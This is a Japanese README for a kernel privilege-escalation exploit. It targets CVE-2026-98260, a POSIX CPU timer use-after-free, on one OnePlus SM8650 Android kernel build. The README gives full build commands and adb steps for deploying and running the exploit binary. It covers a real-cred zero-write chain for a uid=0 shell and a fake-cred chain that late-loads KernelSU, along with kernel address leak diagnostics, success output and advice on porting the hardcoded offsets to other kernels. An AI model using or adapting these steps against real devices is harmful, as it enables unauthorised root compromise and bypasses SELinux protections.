
SM8650デバイス上で、偽の資格情報を利用してuid=0シェルまたはKernelSUのレイトロードを実現する、CVE-2026-98260に対するAndroidカーネルのPOSIX CPUタイマーuse-after-freeエクスプロイトです。
6.6.118-android15-8-g9bc34d5b0c79-abogki537459655-4k(OnePlus PKX110、SM8650/sun)向けの CVE-2026-98260 POSIX CPU timer UAF 移植
2 つのチェーン:
timer:実 cred ゼロ書き込み → uid=0、u:r:shell:s0(shell ドメイン root、bset caps)timer fake:fake cred(full caps)→ インストール版 KernelSU libksud.so late-load| パス | 結果 |
|---|---|
real cred ゼロ書き込み + setuid(0) + exec sh | uid=0、u:r:shell:s0、ROOT_SHELL_OK |
fake cred + ksud late-load | インストール版 libksud.so(uapi 6)、KSU_LOADED、su は u:r:ksu:s0 |
u:r:shell:s0)、tracefs と /proc/slabinfo を読み取り可能me.weishu.kernelsu)の場合、fake は自動的にその lib/arm64/libksud.so を使用するNDK 28.2(aarch64、API 35):
cd timer
NDK=~/Android/Sdk/ndk/28.2.13676358/toolchains/llvm/prebuilt/linux-x86_64/bin
$NDK/aarch64-linux-android35-clang -O2 -std=gnu11 -static \
-fno-stack-protector -fno-pic -I. \
-ffunction-sections -fdata-sections timer.c -o timer \
-Wl,--gc-sections -Wl,-s -Wl,--build-id=none \
-Wl,-z,norelro -pthread
adb push timer /data/local/tmp/timer
adb shell chmod 755 /data/local/tmp/timer
# 診断
adb shell /data/local/tmp/timer ids # tracefs page event id を検出
adb shell /data/local/tmp/timer leak # base/cred/task のリークのみ行い、UAF は発生させない
# uid-0 shell(real cred)
adb shell /data/local/tmp/timer # id + context + ROOT_SHELL_OK
adb shell /data/local/tmp/timer shell # 対話型 sh
# KernelSU(fake cred + インストール版 ksud)—— フォアグラウンド実行、ログをリアルタイム表示
adb shell /data/local/tmp/timer fake
# "[!] fake cred page held; reboot to clean" が表示されたら、そのままターミナルを閉じてよい
# (park 時に SIGHUP/SIGINT/SIGTERM は既に無視されており、プロセスは fake cred ページを保持し続けるため、Ctrl-C や切断で誤って kill されることはない)
# デバイス側にログを残す必要がある場合(同時にリアルタイム表示):
adb shell 'cd /data/local/tmp && ./timer fake 2>&1 | tee timer.log'
fake の成功指標:
[ksu] ksud=.../lib/arm64/libksud.so version=ksud 3.3.1-24-g528bafc5 (uapi: 6)
KSU_LOADED
kernelsu ... Live
adb shell /system/bin/su -c id # uid=0 ... context=u:r:ksu:s0
fake 成功後は親プロセスも park し、socket で fake cred ページを保持するtimeout/kill を行わないこと。そうしないと init が stale node を回収する際に panic する可能性があるpark_forever() は SIGHUP/SIGINT/SIGQUIT/SIGTERM/SIGPIPE を無視するため、フォアグラウンド実行中は Ctrl-C や adb ターミナルのクローズで安全にデタッチできる。実際の終了は SIGKILL(または再起動)によってのみ可能timer/timer.c exploit
timer/timer 静的成果物
tools/*.c 移植診断ソース
主要な定数は timer/timer.c にハードコードされている:do_timer_create/copy_process サイト、selinux_state、panic_on_warn、copy_process task cache サイズ、init_* シンボル
カーネルを変更する際は、デバイスの boot.img/BTF/kallsyms を使って再導出する。tools/ 配下のファイルは、call site、raw record、timer リーク、および 8 KiB AF_UNIX 回収チャネルの照合に使用する
woshigenm/CVE-2026-98260(MIT):trigger、real-cred ゼロ書き込み、fake cred/KSU の考え方ghostlock-app:KernelSU late-load の最終段階